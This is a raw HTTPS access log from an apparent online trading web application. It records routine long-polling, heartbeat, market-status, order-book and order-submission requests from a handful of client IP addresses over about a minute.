[09/Jan/2026:15:14:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943115764 HTTP/1.1" -
[09/Jan/2026:15:14:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943124694 HTTP/1.1" -
[09/Jan/2026:15:14:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943119028 HTTP/1.1" -
[09/Jan/2026:15:14:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943120789 HTTP/1.1" -
[09/Jan/2026:15:14:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943136814 HTTP/1.1" -
[09/Jan/2026:15:14:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943120938 HTTP/1.1" -
[09/Jan/2026:15:14:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943129797 HTTP/1.1" -
[09/Jan/2026:15:14:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943124052 HTTP/1.1" -
[09/Jan/2026:15:14:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943125856 HTTP/1.1" -
[09/Jan/2026:15:14:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943141868 HTTP/1.1" -
[09/Jan/2026:15:14:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943126076 HTTP/1.1" -
[09/Jan/2026:15:14:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943134897 HTTP/1.1" -
[09/Jan/2026:15:14:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943129077 HTTP/1.1" -
[09/Jan/2026:15:14:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943130940 HTTP/1.1" -
[09/Jan/2026:15:14:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943146936 HTTP/1.1" -
[09/Jan/2026:15:14:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943131146 HTTP/1.1" -
[09/Jan/2026:15:14:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:14:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:14:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943139934 HTTP/1.1" -
[09/Jan/2026:15:14:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943134127 HTTP/1.1" -
[09/Jan/2026:15:14:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943135973 HTTP/1.1" -
[09/Jan/2026:15:14:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943151958 HTTP/1.1" -
[09/Jan/2026:15:14:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943136292 HTTP/1.1" -
[09/Jan/2026:15:14:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943145029 HTTP/1.1" -
[09/Jan/2026:15:14:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943139160 HTTP/1.1" -
[09/Jan/2026:15:14:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943141002 HTTP/1.1" -
[09/Jan/2026:15:14:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943156981 HTTP/1.1" -
[09/Jan/2026:15:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943141341 HTTP/1.1" -
[09/Jan/2026:15:14:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943150066 HTTP/1.1" -
[09/Jan/2026:15:14:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943144180 HTTP/1.1" -
[09/Jan/2026:15:14:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943146041 HTTP/1.1" -
[09/Jan/2026:15:14:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943162048 HTTP/1.1" -
[09/Jan/2026:15:14:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943146477 HTTP/1.1" -
[09/Jan/2026:15:14:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943155173 HTTP/1.1" -
[09/Jan/2026:15:14:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943149202 HTTP/1.1" -
[09/Jan/2026:15:14:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:14:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:14:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:14:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943151089 HTTP/1.1" -
[09/Jan/2026:15:14:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943167187 HTTP/1.1" -
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1021
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943151638 HTTP/1.1" -
[09/Jan/2026:15:14:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943160280 HTTP/1.1" -
[09/Jan/2026:15:14:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:14:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1419
[09/Jan/2026:15:14:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943154225 HTTP/1.1" -
[09/Jan/2026:15:14:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943156118 HTTP/1.1" -
[09/Jan/2026:15:14:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943156763 HTTP/1.1" -
[09/Jan/2026:15:14:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:14:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1411
[09/Jan/2026:15:14:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:15:14:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943165322 HTTP/1.1" -
[09/Jan/2026:15:14:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943159270 HTTP/1.1" -
[09/Jan/2026:15:14:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943161160 HTTP/1.1" -
[09/Jan/2026:15:14:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943161811 HTTP/1.1" -
[09/Jan/2026:15:14:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:14:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1210
[09/Jan/2026:15:14:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:14:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943170421 HTTP/1.1" -
[09/Jan/2026:15:14:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943164312 HTTP/1.1" -
[09/Jan/2026:15:14:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
